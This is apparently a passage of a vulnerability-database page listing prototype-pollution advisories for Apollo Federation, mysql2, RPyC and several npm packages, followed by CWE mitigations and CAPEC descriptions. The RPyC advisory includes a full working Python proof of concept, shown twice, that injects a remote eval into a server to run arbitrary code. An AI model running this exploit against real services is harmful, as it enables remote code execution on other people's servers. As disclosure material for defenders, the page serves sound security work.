  "details": "### Impact\n\nA vulnerability exists in query plan execution within the gateway that may allow pollution of `Object.prototype` in certain scenarios. A malicious client may be able to pollute `Object.prototype` in gateway directly by crafting operations with field aliases and/or variable names that target prototype-inheritable properties. Alternatively, if a subgraph were to be compromised by a malicious actor, they may be able to pollute `Object.prototype` in gateway by crafting JSON response payloads that target prototype-inheritable properties.\n\nBecause `Object.prototype` is shared across the Node.js process, successful exploitation can affect subsequent requests to the gateway instance. This may result in unexpected application behavior, privilege escalation, data integrity issues, or other security impact depending on how polluted properties are subsequently consumed by the application or its dependencies. As of the date of this advisory, Apollo is not aware of any reported exploitation of this vulnerability.\n\n### Patches\nMitigations addressing prototype pollution exposure have been applied in `@apollo/federation-internals`, `@apollo/gateway`, and `@apollo/query-planner` versions `2.9.6`, `2.10.5`, `2.11.6`, `2.12.3`, and `2.13.2`.   Users are encouraged to upgrade to these versions or later at their earliest convenience.\n\n### Workarounds\nA fully effective workaround is not available without a code change. As an interim measure, users who are unable to upgrade immediately may consider placing an input validation layer in front of the gateway to filter operations containing [GraphQL names](https://spec.graphql.org/September2025/#sec-Names) matching known `Object.prototype` pollution patterns (e.g., `__proto__`, `constructor`, `prototype`). Users should also ensure that subgraphs in their federated graph originate from trusted sources.",
  "id": "GHSA-pfjj-6f4p-rvmh",
  "modified": "2026-03-19T20:48:00Z",
  "published": "2026-03-13T20:51:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apollographql/federation/security/advisories/GHSA-pfjj-6f4p-rvmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32621"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apollographql/federation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apollo Federation vulnerable to prototype pollution via incomplete key sanitization"
}

GHSA-PFV6-PRQM-85Q8

Vulnerability from github – Published: 2022-04-16 00:00 – Updated: 2022-04-22 20:50
VLAI
Summary
Prototype Pollution in madlib-object-utils
Details

The package madlib-object-utils before version 0.1.8 is vulnerable to Prototype Pollution via the setValue method, as it allows an attacker to merge object prototypes into it. Note: This vulnerability derives from an incomplete fix of CVE-2020-7701

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "madlib-object-utils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-22T20:50:33Z",
    "nvd_published_at": "2022-04-15T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The package madlib-object-utils before version 0.1.8 is vulnerable to Prototype Pollution via the `setValue` method, as it allows an attacker to merge object prototypes into it. *Note:* This vulnerability derives from an incomplete fix of [CVE-2020-7701](https://security.snyk.io/vuln/SNYK-JS-MADLIBOBJECTUTILS-598676)",
  "id": "GHSA-pfv6-prqm-85q8",
  "modified": "2022-04-22T20:50:33Z",
  "published": "2022-04-16T00:00:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24279"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Qwerios/madlib-object-utils/commit/8d5d54c11c8fb9a7980a99778329acd13e3ef98f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Qwerios/madlib-object-utils"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MADLIBOBJECTUTILS-2388572"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in madlib-object-utils"
}

GHSA-PGMG-GF5P-54J8

Vulnerability from github – Published: 2021-05-06 18:26 – Updated: 2023-09-07 00:00
VLAI
Summary
Prototype Pollution in gammautils
Details

All versions of package gammautils up to and including version 0.0.81 are vulnerable to Prototype Pollution via the deepSet and deepMerge functions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "gammautils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T18:05:47Z",
    "nvd_published_at": "2020-09-01T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package gammautils up to and including version 0.0.81 are vulnerable to Prototype Pollution via the `deepSet` and `deepMerge` functions.",
  "id": "GHSA-pgmg-gf5p-54j8",
  "modified": "2023-09-07T00:00:21Z",
  "published": "2021-05-06T18:26:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7718"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GAMMAUTILS-598670"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in gammautils"
}

GHSA-PH28-WWFJ-FV7F

Vulnerability from github – Published: 2022-05-14 00:01 – Updated: 2022-05-25 22:53
VLAI
Summary
Prototype Pollution in sds
Details

This affects the package sds from 0.0.0. The library could be tricked into adding or modifying properties of the Object.prototype by abusing the set function located in js/set.js. Note: This vulnerability derives from an incomplete fix to CVE-2020-7618

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sds"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-25T22:53:54Z",
    "nvd_published_at": "2022-05-13T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects the package sds from 0.0.0. The library could be tricked into adding or modifying properties of the Object.prototype by abusing the set function located in js/set.js. **Note:** This vulnerability derives from an incomplete fix to CVE-2020-7618",
  "id": "GHSA-ph28-wwfj-fv7f",
  "modified": "2022-05-25T22:53:54Z",
  "published": "2022-05-14T00:01:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7618"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25862"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/monsterkodi/sds"
    },
    {
      "type": "WEB",
      "url": "https://github.com/monsterkodi/sds/blob/master/js/set.js"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SDS-2385944"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in sds"
}

GHSA-PHH3-2P9M-W6J5

Vulnerability from github – Published: 2024-05-02 15:30 – Updated: 2024-07-03 20:11
VLAI
Summary
Jenkins Subversion Partial Release Manager Plugin programmatically disables the fix for CVE-2016-3721
Details

Jenkins Subversion Partial Release Manager Plugin 1.0.1 and earlier programmatically sets the Java system property hudson.model.ParametersAction.keepUndefinedParameters whenever a build is triggered from a release tag with the 'Svn-Partial Release Manager' SCM. Doing so disables the fix for SECURITY-170 / CVE-2016-3721.

As of publication of this advisory, there is no fix.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:partial-release-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-03T19:37:35Z",
    "nvd_published_at": "2024-05-02T14:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Subversion Partial Release Manager Plugin 1.0.1 and earlier programmatically sets the Java system property `hudson.model.ParametersAction.keepUndefinedParameters` whenever a build is triggered from a release tag with the \u0027Svn-Partial Release Manager\u0027 SCM. Doing so disables the fix for [SECURITY-170](https://www.jenkins.io/security/advisory/2016-05-11/#arbitrary-build-parameters-are-passed-to-build-scripts-as-environment-variables) / CVE-2016-3721.\n\nAs of publication of this advisory, there is no fix.",
  "id": "GHSA-phh3-2p9m-w6j5",
  "modified": "2024-07-03T20:11:11Z",
  "published": "2024-05-02T15:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34148"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2024-05-02/#SECURITY-3331"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/05/02/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Subversion Partial Release Manager Plugin programmatically disables the fix for CVE-2016-3721 "
}

GHSA-PJ4G-4488-WMXM

Vulnerability from github – Published: 2021-02-17 19:50 – Updated: 2021-09-27 22:48
VLAI
Summary
Dynamic modification of RPyC service due to missing security check
Details

Impact

Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

Patches

Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

Workarounds

The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.

References

CVE-2019-16328 RPyC Security Documentation

For more information

If you have any questions or comments about this advisory: * Open an issue using GitHub

Proof of Concept

import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest


PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc


class Foe(object):
    foo = "bar"


class Fee(rpyc.Service):
    exposed_Fie = Foe

    def exposed_nop(self):
        return


if __name__ == "__main__":
    server = ThreadedServer(Fee, port={PORT}, auto_register=False)
    thd = server.start()
"""


def setattr_orig(target, attrname, codeobj):
    setattr(target, attrname, codeobj)


def myeval(self=None, cmd="__import__('sys')"):
    return eval(cmd)


def get_code(obj_codetype, func, filename=None, name=None):
    func_code = func.__code__
    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
                 'co_lnotab', 'co_freevars', 'co_cellvars']

    codetype_args = [getattr(func_code, n) for n in arg_names]
    if filename:
        codetype_args[arg_names.index('co_filename')] = filename
    if name:
        codetype_args[arg_names.index('co_name')] = name
    mycode = obj_codetype(*codetype_args)
    return mycode


def _vercmp_gt(ver1, ver2):
    ver1_gt_ver2 = False
    for i, v1 in enumerate(ver1):
        v2 = ver2[i]
        if v1 > v2:
            ver1_gt_ver2 = True
            break
        elif v1 == v2:
            continue
        else:  # v1 < v2
            break
    return ver1_gt_ver2


@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):

    @classmethod
    def setUpClass(cls):

        cls.logger = logging.getLogger('rpyc')
        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred
        cls.hscript = tempfile.NamedTemporaryFile()
        cls.hscript.write(SERVER_SCRIPT.encode())
        cls.hscript.flush()
        while cls.hscript.file.tell() != len(SERVER_SCRIPT):
            pass
        cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
        cls.conn = rpyc.connect("localhost", PORT)

    @classmethod
    def tearDownClass(cls):
        cls.conn.close()
        cls.logger.info(cls.server.stdout.read())
        cls.logger.info(cls.server.stderr.read())
        cls.server.kill()
        cls.hscript.close()

    def netref_getattr(self, netref, attrname):
        # PoC CWE-358: abuse __cmp__ function that was missing a security check
        handler = rpyc.core.consts.HANDLE_CMP
        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')

    def test_1_modify_nop(self):
        # create netrefs for builtins and globals that will be used to construct on remote
        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
        _builtins = remote_modules['builtins']
        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}

        # populate globals for CodeType calls on remote
        remote_globals = remote_builtins['dict']()
        for name, netref in remote_builtins.items():
            remote_globals[name] = netref
        for name, netref in self.netref_getattr(remote_modules, 'items')():
            remote_globals[name] = netref

        # create netrefs for types to create remote function malicously
        remote_types = remote_builtins['__import__']("types")
        remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
        remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')

        # remote eval function constructed
        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
        # PoC CWE-913: modify the exposed_nop of service
        #   by binding various netrefs in this execution frame, they are cached in
        #   the remote address space. setattr and eval functions are cached for the life
        #   of the netrefs in the frame. A consequence of Netref classes inheriting
        #   BaseNetref, each object is cached under_local_objects. So, we are able
        #   to construct arbitrary code using types and builtins.

        # use the builtin netrefs to modify the service to use the constructed eval func
        remote_setattr = remote_builtins['setattr']
        remote_type = remote_builtins['type']
        remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)

        # show that nop was replaced by eval to complete the PoC
        remote_sys = self.conn.root.nop('__import__("sys")')
        remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
        self.assertEqual(type(remote_sys).__name__, 'builtins.module')
        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
        self.assertIn('rpyc/utils/server.py', remote_stack)

    def test_2_new_conn_impacted(self):
        # demostrate impact and scope of vuln for new connections
        self.conn.close()
        self.conn = rpyc.connect("localhost", PORT)
        # show new conn can still use nop as eval
        remote_sys = self.conn.root.nop('__import__("sys")')
        remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
        self.assertEqual(type(remote_sys).__name__, 'builtins.module')
        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
        self.assertIn('rpyc/utils/server.py', remote_stack)


if __name__ == "__main__":
    unittest.main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rpyc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-17T19:50:44Z",
    "nvd_published_at": "2019-10-03T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__(\u0027sys\u0027)\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = [\u0027co_argcount\u0027, \u0027co_posonlyargcount\u0027, \u0027co_kwonlyargcount\u0027, \u0027co_nlocals\u0027, \u0027co_stacksize\u0027, \u0027co_flags\u0027,\n                 \u0027co_code\u0027, \u0027co_consts\u0027, \u0027co_names\u0027, \u0027co_varnames\u0027, \u0027co_filename\u0027, \u0027co_name\u0027, \u0027co_firstlineno\u0027,\n                 \u0027co_lnotab\u0027, \u0027co_freevars\u0027, \u0027co_cellvars\u0027]\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index(\u0027co_filename\u0027)] = filename\n    if name:\n        codetype_args[arg_names.index(\u0027co_name\u0027)] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 \u003e v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 \u003c v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger(\u0027rpyc\u0027)\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, \u0027__getattribute__\u0027)\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, \u0027_protocol\u0027)\n        remote_dispatch = self.netref_getattr(remote_svc_proto, \u0027_dispatch_request\u0027)\n        remote_class_globals = self.netref_getattr(remote_dispatch, \u0027__globals__\u0027)\n        remote_modules = self.netref_getattr(remote_class_globals[\u0027sys\u0027], \u0027modules\u0027)\n        _builtins = remote_modules[\u0027builtins\u0027]\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins[\u0027dict\u0027]()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, \u0027items\u0027)():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins[\u0027__import__\u0027](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, \u0027CodeType\u0027)\n        remote_types_FunctionType = self.netref_getattr(remote_types, \u0027FunctionType\u0027)\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename=\u0027test_code.py\u0027, name=\u0027__code__\u0027)\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins[\u0027setattr\u0027]\n        remote_type = remote_builtins[\u0027type\u0027]\n        remote_setattr(remote_type(self.conn.root), \u0027exposed_nop\u0027, remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```",
  "id": "GHSA-pj4g-4488-wmxm",
  "modified": "2021-09-27T22:48:17Z",
  "published": "2021-02-17T19:50:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tomerfiliba-org/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dynamic modification of RPyC service due to missing security check"
}

GHSA-PMH2-WPJM-FJ45

Vulnerability from github – Published: 2024-05-30 18:34 – Updated: 2024-06-06 16:49
VLAI
Summary
mysql2 vulnerable to Prototype Pollution
Details

Versions of the package mysql2 before 3.9.8 are vulnerable to Prototype Pollution due to improper user input sanitization passed to fields and tables when using nestTables.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mysql2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-30T18:34:32Z",
    "nvd_published_at": "2024-05-29T05:16:08Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package mysql2 before 3.9.8 are vulnerable to Prototype Pollution due to improper user input sanitization passed to fields and tables when using nestTables.",
  "id": "GHSA-pmh2-wpjm-fj45",
  "modified": "2024-06-06T16:49:01Z",
  "published": "2024-05-30T18:34:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21512"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sidorares/node-mysql2/pull/2702"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sidorares/node-mysql2/commit/efe3db527a2c94a63c2d14045baba8dfefe922bc"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/domdomi3/e9f0f9b9b1ed6bfbbc0bea87c5ca1e4a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sidorares/node-mysql2"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-7176010"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-MYSQL2-6861580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mysql2 vulnerable to Prototype Pollution"
}

GHSA-PP3H-G655-HHFP

Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-07-03 18:47
VLAI
Details

amoyjs amoy common v1.0.10 was discovered to contain a prototype pollution via the function setValue. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-39003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-01T13:15:05Z",
    "severity": "HIGH"
  },
  "details": "amoyjs amoy common v1.0.10 was discovered to contain a prototype pollution via the function setValue. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
  "id": "GHSA-pp3h-g655-hhfp",
  "modified": "2024-07-03T18:47:35Z",
  "published": "2024-07-01T15:32:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39003"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/02091aa86c6c14c29b9703642439dd03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.